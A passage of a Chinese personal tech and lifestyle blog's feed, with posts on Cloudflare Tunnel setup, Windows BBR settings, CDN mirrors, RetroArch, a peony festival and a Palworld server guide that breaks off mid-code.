个节点，每个节点 16GB 内存 + 200GB 硬盘</strong>。</li><li><mark>业务稳定</mark>：根据业务实际情况配置，可以配置 <strong>4 个节点，每个节点硬件为：(当前业务峰值 * 增长率) / 4</strong>。</li></ul><p><strong>摘自</strong>：<a href="https://www.ruanyifeng.com/blog/2024/05/tdsql.html">分布式数据库入门：以国产数据库 TDSQL 为例</a>@阮一峰的网络日志</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;分布式数据有一些最佳实践，下面举出三个（以 MySQL 引擎为例）&lt;/p&gt;
</summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="分布式" scheme="https://yuwei.cc/tags/%E5%88%86%E5%B8%83%E5%BC%8F/"/>
    
    <category term="TDSQL" scheme="https://yuwei.cc/tags/TDSQL/"/>
    
  </entry>
  
  <entry>
    <title>RetroArch 模拟器</title>
    <link href="https://yuwei.cc/posts/b3640100.html"/>
    <id>https://yuwei.cc/posts/b3640100.html</id>
    <published>2024-06-05T05:37:36.000Z</published>
    <updated>2024-07-07T03:33:21.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>RetroArch 是一款开源免费的“全能模拟器前端”，支持 38 种游戏主机的模拟；从任天堂 FC、GBA 到索尼 PS，从掌机到街机，RA 模拟器几乎囊括了所有主流的经典游戏主机平台。<br>另外，模拟器本身跨平台也更全面，支持包括 iOS (iPhone/iPad /Apple TV)、Android 手机/平板、macOS、Windows 和 Linux 等操作系统，无论你在手机、平板、电脑，甚至树莓派等设备上都可以玩。<br>免费模拟运行众多经典游戏机的游戏，堪称“模拟器中的瑞士军刀”；也就是说，可以在手机、平板或电脑上安装 RetroArch，即可回味各种 FC、GB、GBA、PS、PSP、NDS、MAME 街机等游戏。</p><h2 id="特点"><a href="#特点" class="headerlink" title="特点"></a>特点</h2><ul><li>支持 38 款主机： 包括 NES、SNES、GBA、NDS、PS1、PSP 以及大量街机平台</li><li>跨平台使用： 支持 iOS、Android、Windows、Mac、Linux 等平台</li><li>开源免费，无广告： RetroArch 完全免费，没有任何广告和内购，纯粹的游戏体验。</li><li>高度自定义： 用户可以根据自己的需求和喜好，调整画面、声音、操作等各种设置，打造个性化的游戏体验。</li><li>支持在线更新： 可以方便地更新模拟器核心、金手指、游戏数据库等内容，保持最新状态。</li><li>支持无线手柄： 可使用 XBox、PS 的手柄，或各种 MFi 认证的游戏手柄</li><li>一键截图录屏： 模拟器内置了截图和录屏功能，一键记录你的高光时刻</li><li>支持即时存档：可以随时随地保存和读挡</li><li>支持金手指作弊：轻松挑战高难度！无敌、无限生命、穿土啬…… 各种作弊功能助你轻松通关，体验不一样的游戏乐趣！</li><li>在线更新： RetroArch 支持在线更新模拟器核心、金手指、游戏数据库等内容，保证你始终可以使用最新版本，享受最佳游戏体验！<br>模拟器最大的亮点就是集成了 38 种游戏机模拟器核心，涵盖了从 Atari 雅达利到 PlayStation 等几乎所有经典的游戏主机，机种包括但不限于有：</li><li>雅达利：Atari</li><li>任天堂：NES / FC 红白机、SNES、Game Boy、GBA、NDS、N64、Wii 等</li><li>世嘉：Master System、Genesis/Mega Drive (MD)、Saga Saturn (SS 火星) 等</li><li>索尼：PlayStation 1 (PS)、PSP</li><li>街机：SNK Neo Geo、Capcom CP、MAME 街机等<br>无论是任天堂游戏迷，还是世嘉铁粉，亦或是街机游戏发烧友，通过 RetroArch 模拟器都能找到自己心仪的游戏机核心。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;RetroArch 是一款开源免费的“全能模拟器前端”，支持 38 种游戏主</summary>
      
    
    
    
    <category term="休闲娱乐" scheme="https://yuwei.cc/categories/%E4%BC%91%E9%97%B2%E5%A8%B1%E4%B9%90/"/>
    
    
    <category term="游戏" scheme="https://yuwei.cc/tags/%E6%B8%B8%E6%88%8F/"/>
    
    <category term="RetroArch" scheme="https://yuwei.cc/tags/RetroArch/"/>
    
    <category term="模拟器" scheme="https://yuwei.cc/tags/%E6%A8%A1%E6%8B%9F%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>Cloudflare Tunnel 内网穿透</title>
    <link href="https://yuwei.cc/posts/c454b6da.html"/>
    <id>https://yuwei.cc/posts/c454b6da.html</id>
    <published>2024-05-16T09:45:39.000Z</published>
    <updated>2024-07-07T03:54:48.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p><a href="https://blog.upx8.com/3570">https://blog.upx8.com/3570</a></p><h2 id="前置条件"><a href="#前置条件" class="headerlink" title="前置条件"></a>前置条件</h2><ul><li>首先，你要有一个 Cloudflare 的账号，并且添加了所需要使用的域名，同时，开通 Cloudflare Zero Trust。</li><li>本地内网有一台 Linux 服务器。CentOS、Ubuntu、Debian 都无所谓，树莓派也没问题。Web 网站正常跑，内网能正常访问。<br><a href="https://dash.cloudflare.com/login">https://dash.cloudflare.com/login</a></li></ul><p>Cloudflared 是 Cloudflare Tunnel 的一个本地 cli 客户端，可以实现管理功能和守护程序。</p><h2 id="服务安装"><a href="#服务安装" class="headerlink" title="服务安装"></a>服务安装</h2><p>macOS 可以用 homebrew 安装<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install cloudflared</span><br></pre></td></tr></table></figure><br>Linux 直接下载编译好的二进制包安装<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl -L &#x27;https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64&#x27; -o /usr/bin/cloudflared</span><br><span class="line">chmod +x /usr/bin/cloudflared</span><br></pre></td></tr></table></figure></p><h2 id="系统服务"><a href="#系统服务" class="headerlink" title="系统服务"></a>系统服务</h2><p>停掉刚才启动的服务，把 Cloudflared 注册成系统服务<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cloudflared service install</span><br><span class="line">systemctl start cloudflared</span><br><span class="line">systemctl status cloudflared</span><br></pre></td></tr></table></figure><br>注意：创建系统服务后，配置文件会被拷贝到 /etc/cloudflared/config.yml，后续修改配置必须修改新文件</p><h2 id="域名授权"><a href="#域名授权" class="headerlink" title="域名授权"></a>域名授权</h2><p>使用前，我们需要先登录<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cloudflared tunnel login</span><br></pre></td></tr></table></figure><br>输入命令后，终端会给出一个登陆地址，我们拷贝到浏览器里面打开，选择需要授权的网站。<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">A browser window should have opened at the following URL:</span><br><span class="line"></span><br><span class="line">https://dash.cloudflare.com/argotunnel?callback=https%3A%2F%2Flogin.cloudflareaccess.org%JLKY87tdfsakh-jlfsakjuo8sFFJ%3D</span><br><span class="line"></span><br><span class="line">If the browser failed to open, please visit the URL above directly in your browser.</span><br><span class="line">You have successfully logged in.</span><br><span class="line">If you wish to copy your credentials to a server, they have been saved to:</span><br><span class="line">/root/.cloudflared/cert.pem</span><br></pre></td></tr></table></figure><br>❗注意：授权一次只能选择一个网站。如果存在多个不同域名的网站，请授权完成后不要关闭网页，点击第二个、第三个要授权的域名，进行多次授权。</p><h2 id="创建隧道"><a href="#创建隧道" class="headerlink" title="创建隧道"></a>创建隧道</h2><p>授权完以后，我们需要创建隧道。一般建议一台服务器创建一个隧道。<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cloudflared tunnel create &lt;隧道名字&gt;</span><br><span class="line"># 比如</span><br><span class="line">cloudflared tunnel create webserver-1</span><br></pre></td></tr></table></figure><br>创建完以后，会输出隧道的一个 UUID，记录下来<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Tunnel credentials written to /root/.cloudflared/12345-123-123-123-12345.json. cloudflared chose this file based on where your origin certificate was found. Keep this file secret. To revoke these credentials, delete the tunnel.</span><br><span class="line">Created tunnel webserver-1 with id 12345-123-123-123-12345</span><br></pre></td></tr></table></figure></p><h2 id="域名指向"><a href="#域名指向" class="headerlink" title="域名指向"></a>域名指向</h2><p>接着，我们需要把域名指向到对应的隧道<br>❗注意：下面的命令只会对第一个授权的顶级域名生效，比如 abc.com 和*.abc.com。如果有多个域名，比如 123.com、456.com，需要手工添加 CNAME 记录。<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">cloudflared tunnel route dns &lt;隧道名字&gt; &lt;域名&gt;</span><br><span class="line"># 比如一级域名（和Web界面不一样，不需要输入@）</span><br><span class="line">cloudflared tunnel route dns webserver-1 abc.com</span><br><span class="line"># 又比如二级域名</span><br><span class="line">cloudflared tunnel route dns webserver-1 www.abc.com</span><br></pre></td></tr></table></figure><br>这时候，Cloudflare 会自动添加一条 CNAME 记录到对应的域名。<br>对于多个其他域名，我们需要登录 Cloudflare 的 Web 控制台，对应添加 CNAME 记录，记录值是<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">## &lt;隧道UUID&gt;.cfargotunnel.com</span><br><span class="line">12345-123-123-123-12345.cfargotunnel.com</span><br></pre></td></tr></table></figure><br>配置 Cloudflared<br>开始配置 Cloudflared，先编辑一个配置文件<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi ~/.cloudflared/config.yml</span><br></pre></td></tr></table></figure><br>输入下面的内容（根据自己要求编辑）<br><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">tunnel:</span> <span class="string">&lt;隧道UUID&gt;</span></span><br><span class="line"><span class="attr">credentials-file:</span> <span class="string">/root/.cloudflared/&lt;隧道UUID&gt;.json</span></span><br><span class="line"><span class="attr">protocol:</span> <span class="string">h2mux</span></span><br><span class="line"><span class="attr">ingress:</span></span><br><span class="line">  <span class="comment"># 第一个网站，连接到本地的80端口</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostname:</span> <span class="string">&lt;域名1.com&gt;</span></span><br><span class="line">    <span class="attr">service:</span> <span class="string">http://localhost:80</span></span><br><span class="line">  <span class="comment"># 第二个网站，https协议，连接到本地的443端口，禁用证书校验（用于自签名SSL证书）</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostname:</span> <span class="string">&lt;域名2.com&gt;</span></span><br><span class="line">    <span class="attr">service:</span> <span class="string">https://127.0.0.1:443</span></span><br><span class="line">    <span class="attr">originRequest:</span></span><br><span class="line">      <span class="attr">noTLSVerify:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">originServerName:</span> <span class="string">&lt;域名2.com&gt;</span></span><br><span class="line">  <span class="comment"># 第三个网站，8012端口，泛域名</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostname:</span> <span class="string">&lt;*.域名3.com&gt;</span></span><br><span class="line">    <span class="attr">service:</span> <span class="string">http://localhost:8012</span></span><br><span class="line">  <span class="comment"># 第四个，反代MySQL sock服务</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostname:</span> <span class="string">&lt;mysql.域名4.com&gt;</span></span><br><span class="line">    <span class="attr">service:</span> <span class="string">unix:/tmp/mysql.sock</span></span><br><span class="line">  <span class="comment"># 第五个，反代SSH服务</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">hostname:</span> <span class="string">&lt;ssh.域名5.com&gt;</span></span><br><span class="line">    <span class="attr">service:</span> <span class="string">ssh://localhost:22</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">service:</span> <span class="string">http_status:404</span></span><br></pre></td></tr></table></figure><br>多支持的服务和配置方式，参考帮助文档：<a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/install-and-setup/tunnel-guide/local/local-management/ingress/?ref=bra.live#supported-protocols">Supported Protocols</a><br>配置完以后，我们测试下配置文件有没有问题<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cloudflared tunnel ingress validate</span><br></pre></td></tr></table></figure><br>再测试下规则是否命中<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cloudflared tunnel ingress rule https://&lt;域名1.com&gt;</span><br><span class="line">cloudflared --loglevel debug --transport-loglevel warn --config ~/.cloudflared/config.yml tunnel run &lt;隧道UUID&gt;</span><br></pre></td></tr></table></figure><br>终端会输出一大堆 log，但没有红色报错，那就没问题。<br>登陆 Cloudflare Zero Trust 的 Web 控制台，左边选择 Access-Tunnels，可以看到隧道已经跑起来了，状态是 Active。<br>在浏览器里面输入域名，正常情况下，可以看到网站已经可以正常访问了。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://blog.upx8.com/3570&quot;&gt;h</summary>
      
    
    
    
    <category term="体验突破" scheme="https://yuwei.cc/categories/%E4%BD%93%E9%AA%8C%E7%AA%81%E7%A0%B4/"/>
    
    
    <category term="Cloudflare" scheme="https://yuwei.cc/tags/Cloudflare/"/>
    
    <category term="内网穿透" scheme="https://yuwei.cc/tags/%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>花开时节の庐阳牡丹</title>
    <link href="https://yuwei.cc/posts/peony-2024.html"/>
    <id>https://yuwei.cc/posts/peony-2024.html</id>
    <published>2024-04-05T11:30:00.000Z</published>
    <updated>2024-04-06T12:32:23.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><blockquote><p>合肥三国新城遗址公园，第十三届合肥三国牡丹节：4.5 - 5.5</p></blockquote><p>地方有点偏，环境也就那样；活动策划、文案都还不错，现场执行得很是一般；第一天就这样，后面也就不用想了。</p><p><img src="https://f.pz.al/pzal/2024/04/07/05e7f29eff78a.jpg" alt=""><br><div class='poem'><div class='poem-title'>赏牡丹</div><div class='poem-author'>刘禹锡</div><p>庭前芍药妖无格<br>池上芙蕖净少情<br>唯有牡丹真国色<br>花开时节动京城</p></div><br><div class="gallery-container" data-type="data" data-button="">      <div class="gallery-data">[{"url":"https://f.pz.al/pzal/2024/04/07/97993a3290ff5.jpg","alt":""},{"url":"https://f.pz.al/pzal/2024/04/07/498bbbce877fe.jpg","alt":""},{"url":"https://f.pz.al/pzal/2024/04/07/461b63d505d29.jpg","alt":""}]</div>      <div class="gallery-items">      </div>    </div><br>牡丹虽好，我还是喜欢<strong>蒲公英：<mark>野蛮生长，随风而动</mark></strong>！</p><p><img src="https://f.pz.al/pzal/2024/04/07/d32c8df3ea4e3.jpg" alt=""></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;blockquote&gt;
&lt;p&gt;合肥三国新城遗址公园，第十三届合肥三国牡丹节：4.</summary>
      
    
    
    
    <category term="休闲娱乐" scheme="https://yuwei.cc/categories/%E4%BC%91%E9%97%B2%E5%A8%B1%E4%B9%90/"/>
    
    
    <category term="旅行" scheme="https://yuwei.cc/tags/%E6%97%85%E8%A1%8C/"/>
    
    <category term="摄影" scheme="https://yuwei.cc/tags/%E6%91%84%E5%BD%B1/"/>
    
    <category term="合肥" scheme="https://yuwei.cc/tags/%E5%90%88%E8%82%A5/"/>
    
  </entry>
  
  <entry>
    <title>Windows 11 开启 BBR 算法</title>
    <link href="https://yuwei.cc/posts/61a65e02.html"/>
    <id>https://yuwei.cc/posts/61a65e02.html</id>
    <published>2024-03-07T02:50:44.000Z</published>
    <updated>2024-03-07T02:50:44.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>Windows 默认使用 CUBIC 拥塞控制算法，在 Windows11 上可通过 PowerShell 来开启/关闭 BBR 算法。</p><p>开始菜单里搜索 PowerShell 并右键以管理员身份运行，查看一下当前的拥塞控制算法：<br><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">NetTCPSetting | <span class="built_in">Select</span> SettingName, CongestionProvider </span><br></pre></td></tr></table></figure><br>开启 BBR 算法：<br><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=Internet congestionprovider=BBR </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=InternetCustom congestionprovider=BBR </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=Datacenter congestionprovider=BBR </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=DatacenterCustom congestionprovider=BBR </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=Compat congestionprovider=BBR </span><br></pre></td></tr></table></figure><br>恢复默认 CUBIC 算法<br><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=internet congestionprovider=CUBIC </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=internetcustom congestionprovider=CUBIC </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=Compat congestionprovider=NewReno </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=Datacenter congestionprovider=CUBIC </span><br><span class="line">netsh int tcp <span class="built_in">set</span> supplemental template=Datacentercustom congestionprovider=CUBIC </span><br></pre></td></tr></table></figure><br>BBR 算法对上传/下载场景有提升，使用网线进行网络连接的改善明显，使用 WIFI 连接网络效果不明显。</p><p>并非适用所有网络环境，需根据本地网络情况来判断是否开启 BBR，如切换算法后本地网络更慢恢复默认 CUBIC 算法即可，即时生效无需重启。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;Windows 默认使用 CUBIC 拥塞控制算法，在 Windows11 </summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="网络技术" scheme="https://yuwei.cc/tags/%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF/"/>
    
    <category term="Windows" scheme="https://yuwei.cc/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>NPM CDN 加速节点</title>
    <link href="https://yuwei.cc/posts/5cd4018.html"/>
    <id>https://yuwei.cc/posts/5cd4018.html</id>
    <published>2024-02-09T08:31:06.000Z</published>
    <updated>2024-07-07T03:31:06.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><p>JSDelivrs 是由 Cloudflare 提供的免费开源公共 CDN；默认的提供的节点是：cdn.jsdelivr.net 该节点国内几乎不可用，需要使用可用性高的节点作为替代</p><p>JSDelivr 节点：常用于加速 GitHub/npm 项目，可通过更改节点改善项目在国内的可用性</p><div class="table-container"><table><thead><tr><th>地址</th><th>说明</th><th>可用性</th></tr></thead><tbody><tr><td>gcore.jsdelivr.net</td><td>Gcore 节点</td><td>高</td></tr><tr><td>testingcf.jsdelivr.net</td><td>Cloudflare 节点</td><td>高</td></tr><tr><td>quantil.jsdelivr.net</td><td>Quantil 节点</td><td>尚可</td></tr><tr><td>fastly.jsdelivr.net</td><td>Fastly 节点</td><td>尚可</td></tr><tr><td>originfastly.jsdelivr.net</td><td>Fastly 节点</td><td>低</td></tr><tr><td>test1.jsdelivr.net</td><td>Cloudflare 节点</td><td>低</td></tr><tr><td>cdn.jsdelivr.net</td><td>通用节点</td><td>低</td></tr></tbody></table></div><p>NPM 节点：unpkg.com 国内几乎不可用，可用下方国内 cdn 节点</p><div class="table-container"><table><thead><tr><th>地址</th><th>说明</th><th>同步速度</th></tr></thead><tbody><tr><td>npm.elemecdn.com</td><td>饿了么</td><td>同步快</td></tr><tr><td>npm.onmicrosoft.cn</td><td>公益</td><td>需准确的版本号</td></tr><tr><td>unpkg.zhimg.com</td><td>知乎</td><td>同步慢</td></tr><tr><td>npm.akass.cn</td><td>公益</td><td>需准确的版本号</td></tr><tr><td>cdn.chuqis.com/npm</td><td>公益</td><td>需准确的版本号</td></tr><tr><td>code.bdstatic.com/npm</td><td>百度</td><td>仅同步热门包</td></tr></tbody></table></div>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;p&gt;JSDelivrs 是由 Cloudflare 提供的免费开源公共 CDN；</summary>
      
    
    
    
    <category term="学习成长" scheme="https://yuwei.cc/categories/%E5%AD%A6%E4%B9%A0%E6%88%90%E9%95%BF/"/>
    
    
    <category term="网络技术" scheme="https://yuwei.cc/tags/%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF/"/>
    
    <category term="前端" scheme="https://yuwei.cc/tags/%E5%89%8D%E7%AB%AF/"/>
    
  </entry>
  
  <entry>
    <title>搭建幻兽帕鲁私人服务器</title>
    <link href="https://yuwei.cc/posts/palworld-and-palserver.html"/>
    <id>https://yuwei.cc/posts/palworld-and-palserver.html</id>
    <published>2024-01-26T10:36:17.000Z</published>
    <updated>2024-01-28T05:35:25.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><h2 id="幻兽帕鲁"><a href="#幻兽帕鲁" class="headerlink" title="幻兽帕鲁"></a>幻兽帕鲁</h2><blockquote><p>《<a href="https://www.pocketpair.jp/palworld?lang=zh">幻兽帕鲁</a>》是一款支持多人游戏模式的全新开放世界生存制作游戏，玩家在广阔的世界中收集神奇的生物“帕鲁”，并派他们进行战斗、建造、做农活，工业生产等。<br>该游戏于 2021 年首次公布，于 2024 年 1 月通过抢先体验在 Windows、Xbox One 和 Xbox Series X/S 上发布。</p></blockquote><p><img src="https://f.pz.al/pzal/2024/01/27/4c0b241b2de3f.jpg" alt="幻兽帕鲁"></p><ul><li>100多种独特个性的帕鲁</li></ul><p>这片神奇的土地上，栖息着多达100种以上的帕鲁。每种帕鲁都有与生俱来的独特技能，他们的存在给予了玩家多姿多彩的冒险体验。帕鲁们的体型以及能力也各不相同，从治愈的小型帕鲁，到散发着压倒性存在感的Boss帕鲁，它们都可以被玩家捕获并在之后的冒险助一臂之力。</p><ul><li>与帕鲁的战斗与捕捉</li></ul><p>《幻兽帕鲁》融合了战斗、捕捉、养成和基地建造等多种元素。玩家可以使用从传统的弓箭和长矛到现代的突击步枪和火箭发射器等各种武器。在这个世界中，通过投掷球体道具来捕获帕鲁。虚弱的帕鲁更容易被捕获。一旦捕获成功，帕鲁就成为你强大的战斗伙伴，可以与你一同和敌人火拼。每个帕鲁都有独特的属性和技能，即使是相同种类，也存在个体之间的差异。</p><ul><li>基地建造，帕鲁的劳动</li></ul><p>玩家可以与帕鲁们一起享受基地建造的乐趣。在建成的基地中，玩家可以饲养帕鲁并让它们从事各种工作。通过劳动，可以实现物品的收集和生产、植物的种植，甚至自动化发电。每个帕鲁都有根据其个性的独特工作方式，当然作为”生物”，它们也需要食物和休息。这些照顾直接影响帕鲁们的动力，并在基地的持续运营中发挥着重要的作用。</p><ul><li>在广阔的开放世界中进行多人游戏</li></ul><p>玩家可以与其他玩家合作，一同冒险。此外，游戏还融合了掠夺的要素，玩家可以通过攻击其他玩家，夺取帕鲁和物品。玩家之间也可以交换帕鲁，共享不同帕鲁带来的迥异乐趣。</p><h3 id="攻略"><a href="#攻略" class="headerlink" title="攻略"></a>攻略</h3><p><img src="https://img1.gamersky.com/image2024/01/20240130_msl_535_6/1183.jpg" alt="营地工作帕鲁推荐"></p><ul><li><a href="https://www.gamersky.com/z/palworld/">幻兽帕鲁游戏专区</a></li><li><a href="https://www.gamersky.com/tools/map/palworld/">幻兽帕鲁互动地图</a></li><li><a href="https://www.gamersky.com/handbook/202401/1700004.shtml">《幻兽帕鲁》全帕鲁捕捉位置一览</a></li><li><a href="https://nodecraft.com/support/games/palworld">《幻兽帕鲁》搭建</a></li><li><a href="https://www.gamersky.com/handbook/202401/1703289.shtml">《幻兽帕鲁》基地建设及配种指南</a><h2 id="私服搭建"><a href="#私服搭建" class="headerlink" title="私服搭建"></a>私服搭建</h2><img src="https://f.pz.al/pzal/2024/01/27/e5bd35d5a71c7.jpg" alt="官方服务器直连 PIng 值"></li></ul><p>这款游戏的服务端是特别吃内存，最低要求 4C8G，常规要求 4C16G，最佳配置 4G32G 内存（土豪随意）；<br>如果只是自己或者三两好友轻度游玩的情况下 2C4G 也能玩，只是帕鲁多起来之后大概率会爆内存。<br>有钱的可以直接买腾讯云、阿里云等厂商的云服务器，还能省略<mark>内网穿透</mark>等步骤直接公网游玩，自行查找，暂不做外链</p><h3 id="Windows-服务器"><a href="#Windows-服务器" class="headerlink" title="Windows 服务器"></a>Windows 服务器</h3><p>第一步：<a href="https://aka.ms/vs/17/release/vc_redist.x64.exe">点击</a>下载并安装 C++运行库<br>第二步：<a href="https://www.microsoft.com/en-us/download/details.aspx?id=35">点击</a>下载并安装 DirectX 支持库<br>第三步：<a href="https://steamcdn-a.akamaihd.net/client/installer/steamcmd.zip">点击</a>下载并解压 SteamCMD 到相应的文件夹，如：<code>D:\APP\Steam\cmd</code> 并双击 steamcmd.exe 启动，等待更新</p><p><img src="https://f.pz.al/pzal/2024/01/27/3790a239bc4d3.png" alt="启动 SteamCMD"><br>PS.如果跟游戏本地装在同一个电脑上，可以直接用 Steam 安装并运行<strong>幻兽帕鲁</strong>服务端，详情参考<a href="https://tech.palworldgame.com/dedicated-server-guide#windows">官方文档 - Windows - Steam</a>（不建议，贼吃配置）<br>第四步：下载并运行幻兽帕鲁服务端</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">D:\APP\Steam\cmd\steamcmd.exe +login anonymous +app_update <span class="number">2394010</span> validate +quit</span><br><span class="line">.\steamapps\common\PalServer\PalServer.exe port=<span class="number">8211</span></span><br></pre></td></tr></table></figure><p><img src="https://f.pz.al/pzal/2024/01/27/5f5250b11f169.jpg" alt="下载并运行幻兽帕鲁服务端"><br><img src="https://f.pz.al/pzal/2024/01/27/1c477382ce49b.jpg" alt="加入多人游戏（专用服务器）"><br><img src="https://f.pz.al/pzal/2024/01/27/8e83e19b5a7ec.png" alt="选择重生位置"></p><p>然后就尽情的玩耍吧，需要更改配置请跳转到<strong>私服管理</strong></p><h3 id="Linux-服务器"><a href="#Linux-服务器" class="headerlink" title="Linux 服务器"></a>Linux 服务器</h3><div class="tag link"><a class="link-card" title="Linux 系统环境初始化：CentOS" href="https://yuwei.cc/posts/centos-start.html"><div class="left"><img src="/img/favicon.jpg"/></div><div class="right"><p class="text">Linux 系统环境初始化：CentOS</p><p class="url">https://yuwei.cc/posts/centos-start.html</p></div></a></div><p>安装 CentOS 版本的 <a href="https://developer.valvesoftware.com/wiki/SteamCMD">SreamCMD</a> ，参考<a href="https://tech.palworldgame.com/dedicated-server-guide#linux">官方文档</a></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 